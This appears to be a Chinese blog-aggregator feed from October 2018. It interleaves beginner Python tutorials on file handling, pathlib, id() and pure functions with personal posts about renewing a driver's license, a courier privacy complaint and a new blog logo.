在准备材料的时候,我发现这本书刚在上个月出了中文纸质书,这还真是巧合!(题外话:下一期荐书估计很快会推出,说起来也有一个巧合。至于是啥,先保密。)
纸书的译者和出版社也许为了销量考虑,在书名上又加了四个字,最后纸书的书名成了《Python编程之美:最佳实践指南》。
照例先看看豆瓣情况:
今年9月出版,真是新鲜出炉。评价人数太少,现在还没有分数。标记想读和在读的人数也极少,大概知道这本书的人不算多吧。这期荐书,大概率是最早的荐书之一了。而读者们,你们也是最早知道这本书的人们(之一)了。(PS:出版社同仁,麻烦后台联系我支付推广报酬)
本书的译者夏永锋/廖邦杰与requests挺有缘,据夏在译者序中说:

因为对“for humans”理念的认同,也因为我经常使用Requests,所以当Reitz 在GitHub上邀请我翻译Requests 文档中文版时,我欣然接受,和本书的另一位译者邦杰共同翻译了Requests 文档的首个官方中文版。

因为这两人,我们有理由相信书籍的内容质量以及翻译水准。
这本纸质书还有一个很值一读的原因:书中有Requests 、Werkzeug 、Flask 等5个知名开源项目的源码阅读内容,并介绍如何通过阅读源码来提升编程技术水平。这些内容,中英文的开源版本都还没有,所以让人挺期待的。
相关链接:

October 22, 2018 12:00 AM

October 21, 2018

pythoncat

来自Kenneth Reitz大神的建议:避免不必要的面向对象编程

你也许见过很多人对于Python的评价,他们说Python是“脚本语言”和“胶水语言”,在某种程度上,他们说的是对的。但是,如果你学习过Python,你会知道Python也支持面向对象的编程,更有甚者,在Python中所有东西都是对象。
事实上,Python有着很强大的支持面向对象编程的能力,比如我们刚介绍过的pathlib模块(点链接回顾),它就是一个用面向对象思想来处理文件系统的模块。
可以说,Python是“能屈能伸”吧,小打小闹的时候开箱即用轻松上手,认真严肃起来耍大刀也是虎虎生风不遑多让。
只不过,面向对象就一定是好事么?支持面向对象编程,就一定要时刻这样用么?
下面段落出自《Python最佳实践指南》,这是由圈内大神Kenneth Reitz发起和维护的开源项目(文末附了相关链接),让我们一起来看看K神提出的建议。
Kenneth Reitz大神的建议 Python 有时被描述为一种面向对象的编程语言。这可能对大家有些误导,需要加以澄清。
在 Python 中,所有东西都视为一个对象,并且可以按对象处理。当我们说,函数是“一级”对象,就是将函数视为对象的意思。函数、类、字符串,甚至类型都是 Python 中的对象:像任何对象一样,它们有一个类型,可以作为函数参数传递,并且它们可能有方法和属性。按这种理解, Python 是一种面向对象的语言。
但是,与 Java 不同, Python 并没有将面向对象的编程作为主要的编程范例来实施。 Python 项目不采用面向对象的方式是完全可行的,即不使用或很少使用类定义、类继承或特定于面向对象编程的任何其他机制。
此外,从 模块 部分可以看出, Python 处理模块和名称空间的方式为开发人员提供了一种自然的方法来确保抽象层的封装和分离,这两者都是使用面向对象的最常见原因。因此,当业务模型不需要面向对象时, Python 程序员有更大的自由来不使用面向对象编程。
基于一些因素的考虑,我们应避免不必要的面向对象编程。 当我们想将一些状态和功能粘合在一起时,定义自定义类是很有用的。在函数编程的讨论中,我们指出,“不必要的面向对象编程”这个问题出自方程的“状态”部分。
在某些体系结构中,例如典型的 web 应用程序,会生成多个 Python 进程实例,以响应可能同时发生的外部请求。在这种情况下,将一些状态保存到实例对象中,意味着保留一些关于世界的静态信息,这很容易出现并发或竞争问题。有时,在对象的初始化(通常用 init() 方法来完成)状态和实际使用对象方法的状态之间,世界信息可能已经改变,保持的状态可能已经过时。例如,一个请求加载了内存中的某一项,并将其标记为由用户读取。而另一个请求同时要求删除该项,这可能发生在第一个进程加载该项之后,然后我们必须将其标记为已删除对象。
上述以及其他问题引出了这样的想法:使用无状态函数是一种更好的编程范例。
另一种说法是建议尽可能少的使用具有隐式上下文和副作用的函数和程序。函数的隐式上下文由全局变量和持久层中的数据项(使用方法访问)组成。副作用是指函数对其隐式上下文所做的更改。如果函数会保存或删除全局变量或持久层中的数据,则称它有副作用。
将有上下文和副作用的函数与逻辑函数(称为纯函数)隔离开来,可以获得以下好处:
纯函数是确定性的:给定一个固定的输入,输出始终是相同的。
纯函数需要重构或优化时,更容易更改或替换。
纯函数更易于使用单元测试进行测试:对于复杂的上下文设置和事后的数据清理的需求更少。
纯函数更容易操作、修饰和传递。
总之,针对某些体系结构,由于没有上下文或副作用,纯函数是比类和对象更有效的构建块 。
显然,面向对象编程在许多情况下是有用的,甚至是必要的,例如在开发图形化桌面应用程序或游戏时,被操作的东西(窗口、按钮、化身、车辆)在计算机内存中具有相对较长的寿命。
猫猫的思考 以上就是K神的建议。他在后半段提到了纯函数(pure functions),这让猫猫联想到了函数式编程(Functional Programming),但纯函数似乎是一种更具普遍性的东西,它就像是一种数学上的定义。纯函数真的有那么神么?
于是,猫猫去google了“纯函数”。没想到,排在前面的结果竟然全跟Javascript相关。
除去维基百科的条目,第一个答案指向了一本GitBook《JS函数式编程指南》,好奇的猫猫点进去看了,结果大为叹服!建议大家有条件的话都去读一下(链接见文末,不懂js也不影响理解)。
非常巧合的是,这本书的作者也发表了他对于面向对象编程的看法:
我最喜欢的名言之一是 Erlang 语言的作者 Joe Armstrong 说的这句话:“面向对象语言的问题是,它们永远都要随身携带那些隐式的环境。你只需要一个香蕉,但却得到一个拿着香蕉的大猩猩…以及整个丛林”。
读完《纯函数的好处》章节,猫猫提炼了几条笔记。一方面是为了加强对纯函数的理解,在实战中规避一些“不纯”的用法,另一方面,也提出了几个思考和疑问,今后在学习Python的过程中,留神找到答案:
1、避免使用不纯的函数。JS中的splice是个不纯的函数,那Python中是否也有这样的函数呢?
2、下例中第一个是不纯的,因为函数的结果取决于minimum这个可变变量,换句话说,它取决于系统状态(system state);这一点令人沮丧,因为它引入了外部的环境,从而增加了认知负荷(cognitive load)。(题外话:这个例子,猫猫大有感触。公司有个项目的老版本代码中,充斥了各种全局变量,小伙伴们在维护时吃了好多苦头!)JS中可以用Object.freeze 方法令minimum成为不可变对象,Python中有类似的实现么?
// 不纯的
var minimum = 21;
var checkAge = function(age) {
  return age >= minimum;
};

// 纯的
var checkAge = function(age) {
  var minimum = 21;
  return age >= minimum;
};
3、不纯函数会带来“副作用”,其“作用”本身没有坏处,但其“副”是滋生bug的温床。并不是说,要禁止使用一切副作用,而是说,要让它们在可控的范围内发生。坚持这种「相同输入得到相同输出」的原则。
4、纯函数实际上就是数学定义中的函数。“函数是不同数值之间的特殊关系:每一个输入值返回且只返回一个输出值。”
5、追求“纯”的理由:可缓存性(有点像生成器,延迟执行)、可移植性/自文档化(因其完全自给自足,依赖关系明确)、可测试性(为函数式环境定制的测试工具,JS中有Quickcheck,Python中有么?)、合理性(引用透明性:一段代码可以替换成它执行所得的结果,而且是在不改变整个程序行为的前提下替换)、并行代码(纯函数根本不需要访问共享的内存,而且纯函数也不会因副作用而进入竞争态(race condition))。
今天的分享就到这了,最后再啰嗦几句。本篇文章里,一句Python代码都没有,真的是够“干”的了。猫猫有时候挺喜欢看这样的文章,因为它会带给你思想上的启迪,就像是绝世高人在传授秘籍心法一样。所以,猫猫也喜欢转述和思考这类问题,比如之前发过的一篇《超强汇总:学习Python列表,只需这篇文章就够了》,就不仅仅有代码层面的内容,还特意加入了Guido老爹关于Python列表索引为何从0开始的解释,以及其它编程语言对索引值的考虑。
不记得在哪里曾看到过一句话,送予大家共勉:
如果一个人眼里只看得见代码,那他跟咸(ma)鱼(nong)有啥区别?

October 21, 2018 12:00 AM

October 20, 2018

anji66

驾驶证到期如何更换?

一晃6年过去了,驾照临近到期了,12123APP上显示可以进行到期换证操作了,抽了个周六的时间,去把驾驶证给换一下。换证之前得先确保所有的违章扣分全部处理完毕才行。然后找个就近的受理驾驶员证件业务的交管部门去办理就可以了。 当然博主这种行程十几万公里“老司机”(双关),已经连续几年没有违章了,保险起见临出门还是在12123上查了下确保没有违章才出的门。 



办理地点和时间

上海嘉定的驾驶员管理中心是在塔新路999号恒通驾校那里。他们工作时间是周一到周六,早上8点半到下午16点半。中午时间也可以去的。不放心的话,去之前不妨打个电话69160900。具体地址看下百度地图。从塔城中路过去到塔新路,就在那个路口,过红绿灯后有路牌100米右转进园区,红绿灯处有路牌写着嘉定交警支队驾驶员管理中心。然后别听导航的,今天我用百度地图导航,盲目的把我带到前面掉头,然后停在了马路对边,然后自己再次掉头进的园区。


办理流程

换证业务在四楼,但是你不需要先去四楼,可以直接去地下一层,在拍照体检处,做登记,走到最里面,出示身份证,交费25元办理拍照。然后拿着照片及给你的申请表,到外间交费50元,填写申请表,然后完成体检。

体检完成后带着表格和剩余照片到四楼导办台取号,有个交警在那儿的,告知换证即可。领到号后在右侧办理大厅等候叫号。

叫到号后,将材料交给窗口(一般是三号窗口),身份证、照片、驾驶证、申请表这几项给窗口,经过他们内部处理好以后,拿着给你的材料到旁边四号窗口等待即可。等制证完成交费10元工本费,领取新证。

总计收费85元,所有环节都有发票提供,如需报销的,记得收好发票。


关于驾照期限

C1驾照如果你在第一个6年期限内,每个记分周期内均没有被扣满12分,那么这次换证后,你的驾驶证有效期就变成了10年期的证件,博主拿到手的已经是10年证了。接下来在这10年中,每个记分周期都不被扣满12分的话,十年后再次换证就会变成长期有效的证件了。如果是大客大货类驾照驾驶员每年体检那是另外一回事。


by 西枫里 at October 20, 2018 01:52 PM

October 19, 2018

pythoncat

再谈文件读写:判断文件的几种方法及其优劣对比

上周,猫猫写了一篇给Python学习者的文件读写指南,跟大家一起详尽地学习了文件读写的基础内容,以及with语句与上下文管理器的进阶知识。
这份指南虽然写得很用心,但是因为只关注了文件读写的核心内容,所以也有美中不足不处,有些在实战中所需的知识点没有谈到,例如,为了能够进行文件读写,首先得找到文件、文件得可读写才行。
我们知道当文件不存在的时候,open()方法的写模式与追加模式都会新建文件,但是对文件进行判断的场景还有很多,比如,在爬虫下载图片的时候,可能需要判断文件是否存在,以免重复下载;又比如,创建新文件的时候,可能需要判断文件是否存在,存在就先做个备份…所以,学习判断文件是否存在,还是很有必要的。
学习是循序渐进的过程,若能建立知识点间的联系,进行系统性的学习,那将更有助于效果。阅读这篇文章,你将读到如下内容:
1、判断文件的方法(try语句、os模块、pathlib模块)
2、以上几种方法的优劣对比

懒人的try语句

我们之前学过,要用with语句来处理文件读写,但with语句也不是万能的,所以还得关注一些异常情况。例如,当使用open()方法的时候,如果文件不存在,程序会抛出FileNotFoundError异常,而如果权限不足的话,就会抛出PersmissionError异常。
with open("python.log", "r") as f:
    ...:     f.read()
-----------------------
...()
FileNotFoundError: [Errno 2] No such file or directory: 'python.log'
为了避免这些异常导致程序中断,我们可以用try…except…语句来捕捉异常,然后在except子句进行异常的处理。
不过,在猫猫看来,这个方法不值得推荐。原因有二,一是这种方法很被动,程序的健康受制于不可预测的异常;二是当文件不存在的时候,我们可能需要去创建文件,这些逻辑如果写在except子句里,可读性太差了。

传统的os模块

顾名思义,Python内置的os模块是用来与OS(操作系统)进行交互的模块,它可以实现很多在命令行下做的操作,例如,获取操作系统信息、获取/修改环境变量、进行目录操作(创建、删除、遍历)和各种文件操作等等。
下面,我们要学习的是跟文件判断密切相关的几个方法。
1、os.path.exists()用于判断文件及文件夹是否存在(注意:因为两者都能判断,为了有效区分文件和文件夹,最好保证文件是带后缀的。):
import os
# 文件存在 VS 不存在
os.path.exists("test.txt") >>>True
os.path.exists("cat.txt") >>>False
# 文件夹存在 VS 不存在
os.path.exists("cat/images") >>>True
os.path.exists("cat/image") >>>False
2、os.path.isfile()、os.path.isdir() 判断给定路径是文件还是文件夹:
os.path.isfile("cat/images") >>>False
os.path.isdir("cat/images") >>>True
os.path.isfile("test.txt") >>>True
3、os.access()检测文件路径的访问权限,语法:os.access(path, mode);其中path指的是文件或者文件夹,mode指的是要检测的模式:
os.access("cat/images", os.F_OK) >>>True # path存在
os.access("cat/images", os.R_OK) >>>True # path可读
os.access("cat/images", os.W_OK) >>>True # path可写
os.access("cat/images", os.X_OK) >>>True # path可执行
4、os模块中其它常用方法:
os.mkdir()创建目录、os.rmdir()删除目录、os.rename()重命名、os.remove()删除文件、os.path.join()连接目录与文件名、os.path.split()分割目录与文件名…(不一一举例了,今后有机会再作介绍)

时尚的pathlib模块

pathlib模块是python3.4才加入的模块,官方介绍它是面向对象的文件系统路径(Object-oriented filesystem paths),这是一个很强大的模块,文末附录了官方文档地址。
这里主要介绍几个基本的用法:
import pathlib
file_obj = pathlib.Path("test.txt")

file_obj.name >>>'test.txt' # 文件名
file_obj.exists() >>> True # 是否存在
file_obj.is_dir() >>>False # 是否文件夹
file_obj.is_file() >>>True # 是否文件

几种方法优劣对比

围绕文件操作的知识很多,限于篇幅,本文主要对判断文件作了介绍,今后也许还会对其它具体话题进行学习。
现在知道了几种判断文件是否存在的方法,猫猫试着根据自己的理解,对它们做一下评判。
首先,try语句的缺点是没有主动做判断,不方便根据文件是否存在而做针对性的处理,它把必要的逻辑交给异常捕获,多少显得“不负责任”;try语句也有优点,一是不需要引入模块,不需要区分各种使用方法,二是将其它可能存在的异常都打包,避免多样系统或使用场景的遗漏。
os模块是传统的老模块了,在使用上和维护上都会比较顺畅;它的主要缺点在于有的方法比较繁琐,由于使用字符串来表示文件路径,这会导致路径拼接上的麻烦,另外,不同操作系统在路径分隔符上的差异(Windows使用\分隔符,Linux和Mac使用/分隔符),也可能导致难以发现的错误。
相对来说,pathlib功能最强大,但普及度比较低,有一定的学习门槛;它主要的优点是面向对象,同时,因为对不同操作系统的特性做了封装,能有效避免字符串表示文件路径的难题。它的不足之处是没有像os.access()可以检测访问权限的方法,虽然这个方法基本不会使用到。
下面比较了三种拼接文件路径的方法,方法一未对分隔符做处理,不能保证在每个操作系统都能找到;方法二需要反复使用os.path.join;方法三只用“/“就能拼接路径,而且肯定支持多操作系统。
# 错误拼接:未处理分隔符
data_folder = "source_data/text_files/"
file_to_open = data_folder + "test.txt"

# os模块拼接
import os
data_folder = os.path.join("source_data", "text_files")
file_to_open = os.path.join(data_folder, "test.txt")

# pathlib模块拼接
from pathlib import Path
data_folder = Path("source_data/text_files/")
file_to_open = data_folder / "test.txt"
总结一下,如果文件路径简单,仅仅要用到exists()、is_dir()、is_file() 这几个方法的话,os.path模块和pathlib.Path模块不分伯仲,都很好用,但是如果考虑到繁复的路径拼接的话,pathlib.Path就会胜出一筹。
喵喵,今天的分享就到这啦,小伙伴们觉得有用的话,麻烦帮忙点赞、转发给其他童靴哦~~~
扩展阅读:

October 19, 2018 12:00 AM

October 18, 2018

anji66

海豚云管家是什么?

事情起因是本人在淘宝上购买了一件商品,卖家通过韵达公司发货。今天下午接到一陌生电话,告知小区快递柜被塞满,送货上门而我家又没人,改约晚上派送。我让对方把快递放到我们家的水表间,对方强调目前小区丢件严重,公司规定必须将快递送到客户手上,我心想,这快递公司还不错,对方说改个时间再次派送并询问了家里何时有人,答复对方晚上6点半有人,对方满口承诺6点半派送。直到晚上回家才发现白天这只是骗局的起点。


事发现场经过

到了晚上7点,送货来人并非之前的快递员,我以为快递公司换派送员了,就没有多想,在拿到快递后,对方强调双十一来临,快递柜爆满,为了代收快递他们负责在客户家门上安装一个智能锁,智能锁带有一个方便袋,在客户家中没人的时候,快递员可以将快递放入袋中,以便投递。并宣称是免费产品。没有多想就让对方安装了,我原以为对方安装的东西是韵达公司提供的,经过关注的公众号和安装过程,事后我确认,对方并非韵达公司员工,所安装的所谓智能锁也并非韵达公司产品,而是一个叫海豚云管家的产品。很显然这个负责安装的人就是海豚云管家的地推人员了。


违规的操作

等装完了,对方也走人了,我扒拉最后两口饭,细想这事儿不对呀,对方地推人员是如何拿到我的快递的?有这么几种可能,这个海豚云管家的公司和韵达的基层网点达成了某种合作,韵达私自将快递交给了这些人。第二种地推人员与快递小哥私自交好,获取的用户快递。第三种地推人员以兼职身份送快递,干着本职的推广产品工作。当然也不排除这家公司和快递总部达成的某种合作。但是不论何种情况,快递公司将客户的快递私自交给第三方这种行为都是违规的。根据邮政法第三十五条的规定,除法律另有规定外,邮政企业及其从业人员不得向任何单位或者个人泄露用户使用邮政服务的信息。很显然,这里韵达公司不仅泄露了我的个人信息,并且将我的快递交给了不相关的人。后经与海豚云管家的沟通得知他们与快递公司有所谓的合作关系,而这并不能成为这家公司接触到我快递的理由。


真市场假需求

经过这事,简单分析了下他们的商业模式和运作手法。商业模式其实也很简单,第一,他们自己经营快递业务,与快递公司合作,就等于是做了快递的代收点的概念,赚取的是配送费。第二,他们的系统带有一个微商城,通过这个商城上进行购买操作赚取的是商品利差。第三绑定的公众号这里媒体的完成导流及广告分发操作赚取的流量费。除此之外或许还有其他更多的赚钱方式。为什么这里我会说是真市场假需求呢,主要是从他们这个产品特点来看的,如图

QQ图片20181018140310.jpg

这就是他们的所谓智能硬件产品。一个智能锁下面挂着一个加铝箔的无纺布袋。通过拉链及拉环与智能锁连接。当快递员把快递放入袋中后,挂上拉环,用户通过公众号内的微商城上的开锁按钮近距离蓝牙通信开锁。第一个伪需求,首先是这个储物袋,并不是很大,并且仅仅通过连个拉环连接,粘门上的是通过双面胶,所以必然的结果是无法承受大件和重件。关于防盗,因为我电话中是让对方把快递放我们家水表箱的,对方表示被盗的概率很大,我们小区的安保措施一向比较好,如果水表箱中的快递能被偷,那么挂在门上的这个布袋不但容易被偷(刀片轻轻一划就开,或者干脆用力一拉就能下来)并且还太显眼,至少放水表箱不是明面上的,所谓不怕贼偷就怕贼惦记,放在门上的安全系数大为降低。项庄舞剑意在沛公,这个海豚云管家宣传的放心代收的服务,其实并没有什么卵用,也没他们宣传的那么好为用户考虑,他们真正考虑的是他们自己,通过高频的使用开锁服务,简单高效的展是了他们的自有商城,诱导用户在他们商城消费才是他们的目的。这里有个小小的现实,就想淘宝京东都逃脱不了假货的存在,拼多多更是假货泛滥,那么这样的小公司,品控如何大家不妨自己想象。


信息的自我泄露

忘了一提,在使用他们的服务,你还可以邀请你的家人也同步使用这个产品,在产品设置上面加入家人的手机号进行授权操作,现在,对用户的精准画像到了到了什么程度?家庭地址,家庭成员,如果外加经常购买他们的商品还能获取消费习惯这些相当精细的隐私数据,一旦泄露怎么办,这个风险大到不可想象。


经过一番思考,果断向邮政总局投诉了韵达公司,其次要求对方自行拆走他们的设备,退出微信群,取消公众号关注,删除对方客服微信,即便如此我的信息还是多了一个泄露渠道,记录下这些告诫自己下次别再着了类似的道,共勉!


by 西枫里 at October 18, 2018 05:13 AM

October 17, 2018

anji66

博客启用新logo啦

最近光顾博客的朋友应该发现博主换了个LOGO,之前的墨绿色的云朵西枫里换了个图形并且换了颜色风格。去年新版上线的时候纠结没有logo怎么办,打算直接把博客名放上去就算了,联想到用的阿里云主机,广告全名云计算,干脆画个云朵放上去。这就成了之前一直用的那个版本。小插曲,去年年底的时候,沉淀小朋友还帮我画过一个过年喜庆版的LOGO,因为没有图形,所以我也没上线过,同样得感谢下沉淀了。


缘起豪车安排

说起现在这个LOGO的设计者,得提下我们的橘总监,一个高级设计狮,好好的公司设计总监不做,嫌带徒弟麻烦外加遇到一个抠门二货老板,索性辞职回家专职带娃,这个操作就厉害了。刚认识他的时候,群里发车,送了辆“豪车”给他(一个梗)。简单交流后,有一天橘总监发我一个设计好的logo。中国风,又符合博客名寓意,非常棒,只是一句话:和我现在这个博客风格不搭呀。遂搁置许久。


死缠烂打

最近橘总监终于熬过了老婆月子期。终于有事没事的折腾点事了,平时带带娃的间隙,又抽筋把其他几个小伙伴的logo给设计了一遍,一看机会来了,软磨硬泡,死缠烂打,拜托再让他帮我重新设计一个能符合现在风格的。这时候什么人活一张脸树活一张皮的概念早扔下水道了。架不住我三天两头的马屁加乞讨,又帮我设计了一个。不过得说回来,你要是跟他不熟,千万别开口,闭门羹是小意思,被喷就事大了。


LOGO寓意

这是一个符合江南园林风格的透花窗,如果你逛过苏杭一代的经典园林应该会多见这样的六边形。还有包括八边形的,圆形的,四叶型的各式的嵌在白墙黑瓦院墙上的。西枫里三个变化的字正好充当了透花窗的格栅。叠影效果更加立体,搭配浅绿。配上部分模糊的字体,有点近远焦的感觉。Copyright中西结合,完美。


对了,如果你有设计方面的需求,可以直接找他。小钱钱到位,设计包您满意。怎么找到橘总监?点这龙砚庭


by 西枫里 at October 17, 2018 05:36 AM

October 15, 2018

pythoncat

Python 中的“特权种族”是什么?

前几天,某个学习群里有小伙伴问了一个关于id()的问题。事后,猫猫想起Python中一些常用对象的内存地址是共用的,但是具体是哪些却忘了。于是,猫猫意识到这是我知识薄弱之处,有提升空间,便进行了一番学习。
今天,猫猫把学习到的部分内容总结出来,分享给大家。阅读本文,大家可以学到如下内容:
  1. 对象的Id是什么?
  2. 内置id()函数是什么?
  3. 共用Id的内存分配策略?

学习群里的一道问题

首先,看看小伙伴贴出的代码:
In [1]: a=[1,2,3]
In [2]: id(a)
Out[2]: 2399283020744
In [3]: id(a.append(4))
Out[3]: 1417427824
In [4]: a.append(4)
In [5]: id(a)
Out[5]: 2399283020744
他的问题是:为何第二个id值(1417427824)不等于其它两个的id值(2399283020744)?还有这个id值(1417427824)到底是谁的id?
现在公布答案:第二个id值(1417427824)是None的id,只要打印id(None)就能看出来;至于为啥是None的id,因为列表的append()方法返回值是None,而id(a.append(4))等价于取这个append操作的返回值的id,也就是说id(a.append(4))等价于是id(None)。

对象Id与id()函数

python的对象有三要素:Id(identity,身份标识)、Type(类型标识)和Value(对象的值)。其中,Value通常是一个对象能被直接“看到”的部分,而Id及Type则是相对底层的维度,无法直接“看到”。举个例子(“>>>”表示输出结果):
Object1=2018
Object2="2018"
# Object1的value是2018(数字)
# Object2的value是“2018”(字符串)
id(Object1) >>>2399282764784
id(Object2) >>>2399281922600
type(Object1) >>>int
type(Object2) >>>str
如上所述,我们建立了对象三要素与三个内置函数的联系:Id&id()、Type&type()、Value&str()。今天,猫猫先跟大家一起来学习id()函数,今后再继续学习其它两个。
1、id()函数释义
id()是python内置的函数,它专门用于获取对象的内存地址,内存地址是一个整型数值,在该对象的生命周期内是唯一且恒定的。语法:id([object])。
2、比较Id的两种方式
通常有两种比较对象Id的方式(is、id()比较),请看例子:
l1 = [1, 2, 3]
l2 = [1, 2, 3]
In [43]: l1 is l2 
Out[43]: False
In [46]: id(l1)==id(l2)
Out[46]: False
# 两者Id不相等,因为:
In [44]: id(l1)
Out[44]: 2399279725576
In [45]: id(l2)
Out[45]: 2399282938056
is判断语句是判断两个对象的内存地址,也就等价于先取id(),再做数值比较。
3、不要与Value的比较方式混淆
Value的比较符号用双等号“ == ”,上例中比较l1和l2的Value要写成“l1 == l2”,明显两者的Value是相等的。按照约定俗成的习惯,我们把Value值相等的两个对象称为“相等”,而把Id值相等的两个对象称为“相同”。所以,准确地说,上例的l1与l2相等,但是他们不相同,l1 == l2,但l1 is not l2。

特权种族:共用内存的对象

每个对象被创建出来的时候,就会确定其Id标识,也就是给它分配内存地址。通常来说,新对象的内存地址也是新的,会从未分配的可用地址中取。
但是,为了提高内存利用效率,对于一些常用的对象,如一些数值较小的数字对象、布尔值对象、None对象、较短的字符串对象等等,python采取共用对象内存的分配策略。
# 新分配内存地址的例子
ww=[1,2]
ee=[1,2]
id(ww)==id(ee) >>>False
a=2018
b=2018
id(a)==id(b) >>>False

# 共用内存地址的例子
a=100
b=100
id(a)==id(b) >>>True
f1=True
f2=True
id(f1)==id(f2) >>>True
n1=None
n2=None
id(n1)==id(n2) >>>True
s="python_cat"
t="python_cat"
id(s)==id(t) >>>True
这就意味着,python中出现了“特权种族”,运行环境早早就为它们分配好了内存地址,一旦要创建新的对象时,先去特权种族中查找,有Type和Value相等的对象,则新对象不分配新的内存空间,而是指向已有对象。
“特权种族”的存在,使得我们不需要频繁创建这些对象,既能提高已分配内存的使用率,又减少了创建对象、分配新内存的损耗。
对于共用内存地址的数字对象的取值范围,根据这篇文章《Python中神秘的-5到256》(链接见文末)对python源码的分析,文中有如下结论:

Python中,对于整数对象,如果其值处于[-5,256]的闭区间内,则值相同的对象是同一个对象。

对于共用内存地址的字符串对象的取值范围,学习了几篇对python源码分析的文章后(链接见文末),我总结出大致有以下结论:

Python中,字符串使用Intern机制实现内存地址共用,长度不超过20,且仅包括下划线、数字、字母的字符串才会被intern;涉及字符串拼接时,编译期优化结果会与运行期计算结果不同。

# 编译对字符串拼接的影响
s1 = "hell"
s2 = "hello"
"hell" + "o" is s2 >>>True
s1 + "o" is s2 >>>False
# "hell" + "o"在编译时变成了"hello",
# 而s1+"o"因为s1是一个变量,在运行时才拼接,所以没有被intern

October 15, 2018 12:00 AM

October 11, 2018

pythoncat

给Python初学者的文件读写指南(含基础与进阶,建议收藏)

对于初学者来说,一份详尽又清晰明白的指南很重要。今天,猫猫跟大家一起,好好学习Python文件读写的内容,这部分内容特别常用,掌握后对工作和实战都大有益处。学习是循序渐进的过程,欲速则不达。文章较长,建议大家收藏,以备复习查阅哦。
  1. 如何将列表数据写入文件?

  2. 如何从文件中读取内容?

  3. 多样需求的读写任务

  4. 从with语句到上下文管理器

如何将列表数据写入文件?

首先,我们来看看下面这段代码,并思考:这段代码有没有问题,如果有问题的话,要怎么改?
li = ['python',' is',' a',' cat']
with open('test.txt','w') as f:
    f.write(li)
现在公布答案,这段代码会报错:
TypeError  Traceback (most recent call last)
<ipython-input-6-57e0c2f5a453> in <module>()
      1 with open('test.txt','w') as f:
----> 2     f.write(li)

TypeError: write() argument must be str, not list
以上代码的想法是将list列表内容写入txt文件中,但是报错 TypeError: write() argument must be str。就是说,write()方法必须接受字符串(str)类型的参数。
Python中内置了str()方法,可以返回字符串版本的对象(Return a string version of object)。所以,上面的例子中,我们试试把 f.write(li) 改为 f.write(str(li)) ,先做一下字符串类型的转化看看。代码略。
这次没有报错了,但是打开文件就傻眼了吧,写入的内容是“[‘python’,’ is’,’ a’,’ cat’]”。怎么才能写成“python is a cat”呢? 文件写操作还有一个writelines()方法,它接收的参数是由字符串组成的序列(sequence),实际写入的效果是将全部字符串拼接在一起。字符串本身也是一种序列,所以当参数是字符串的时候,writelines()方法等价于write()。
# 以下3种写法等价,都是写入字符串“python is a cat”
In [20]:  with open('test.txt','w') as f:
    ...:      f.writelines(['python',' is',' a',' cat'])
    ...:      f.writelines('python is a cat')
    ...:      f.write('python is a cat')

# 以下2种写法等价,都是写入列表的字符串版本“['python',' is',' a',' cat']”
In [21]:  with open('test.txt','w') as f:
    ...:      f.write(str(['python',' is',' a',' cat']))
    ...:      f.writelines(str(['python',' is',' a',' cat']))
    
# 作为反例,以下写法都是错误的:
In [22]:  with open('test.txt','w') as f:
    ...:      f.writelines([2018,'is','a','cat']) # 含非字符串
    ...:      f.write(['python','is','a','cat']) # 非字符串
由上可知,当多段分散的字符串存在于列表中的时候,要用writelines()方法,如果字符串是一整段,那直接使用write()方法。如果要以整个列表的形式写入文件,就使用str()方法做下转化。
这个问题还没结束,如果列表中就是有元素不是字符串,而且要把全部元素取出来,怎么办呢?
那就不能直接使用write()和writelines()了,需要先用for循环,把每个元素取出来,逐一str()处理。
In [37]: content=[1,' is',' everything']
In [38]: with open('test.txt','w') as f:
    ...:     for i in content:
    ...:         f.write(str(i))
需要注意的是,writelines()不会自动换行。如果要实现列表元素间的换行,一个办法是在每个元素后面加上换行符“\n”,如果不想改变元素,最好是用for循环,在写入的时候加在末尾:for i in content: f.writelines(str(i)+“\n”)
引申一下,经过实验,数字及元祖类型也可以作为write()的参数,不需转化。但是dict字典类型不可以,需要先用str()处理一下。字典类型比较特殊,最好是用json.dump()方法写到文件,具体操作方法以及注意事项,请看喵喵之前发的《假期玩得开心也不忘充电,学习Python操作JSON,网络数据交换不用愁
总结一下,write()接收字符串参数,适用于一次性将全部内容写入文件;writelines()接收参数是由字符串组成的序列,适用于将列表内容逐行写入文件。str()返回Python对象的字符串版本,使用需注意。

如何从文件中读取内容?

从文件中读取内容有如下方法:

file.read([size]) 从文件读取指定的字节数,如果未给定或为负则读取所有。

file.readline([size]) 读取整行,包括 “\n” 字符。

file.readlines([sizeint]) 读取所有行并返回列表,若给定sizeint>0,则是设置一次读多少字节,这是为了减轻读取压力。

简而言之,在不传参数的情况下,read()对应write(),读取全部内容;readlines()对应writelines(),读取全部内容(含换行符)并以列表形式返回,每个换行的内容作为列表的一个元素。
In [47]: with open('test.txt','r') as f:
    ...:     print(f.read())
1 is everything.
python is a cat.
this is the end.

In [48]: with open('test.txt','r') as f:
    ...:     print(f.readlines())
['1 is everything.\n', 'python is a cat.\n', 'this is the end.']
但是,以上两个方法有个缺点,当文件过大的时候,一次性读取太多内容,会对内存造成极大压力。读操作还有一个readline()方法,可以逐行读取。
In [49]: with open('test.txt','r') as f:
    ...:     print(f.readline())
1 is everything.
readline()读取第一行就返回,再次调用f.readline(),会读取下一行。
喵喵,是否感觉跟《超强汇总:学习Python列表,只需这篇文章就够了》学习过的生成器很像,需要不停调用next()获取下一行。
这么看来,readline()太笨拙了。那么,有什么办法可以优雅地读取文件内容呢?
回过头来看readlines()方法,它返回的是一个列表。这不奇怪么,好端端的内容为啥要返回成列表呢?
再想想writelines()方法,把字符串列表写入文件正是这家伙干的事,readlines()方法恰恰是它的逆操作!而writelines()方法要配合for循环,所以我们把readlines()与for循环结合,看看会怎样。
In [61]: with open('test.txt','r') as f:
    ...:     for line in f.readlines():
    ...:         print(line)
1 is everything.

python is a cat.

this is the end.

# 读取内容包含换行符,所以要strip()去掉换行符
In [62]: with open('test.txt','r') as f:
    ...:     for line in f.readlines():
    ...:         print(line.strip())
1 is everything.
python is a cat.
this is the end.
总结一下,readline()比较鸡肋,不咋用;read()适合读取内容较少的情况,或者是需要一次性处理全部内容的情况;而readlines()用的较多,比较灵活,因为for循环是一种迭代器,每次加载部分内容,既减少内存压力,又方便逐行对数据处理。

多样需求的读写任务

前两部分讲了文件读写的几大核心方法,它们能够起作用的前提就是,需要先打开一个文件对象,因为只有在文件操作符的基础上才可以进行读或者写的操作。
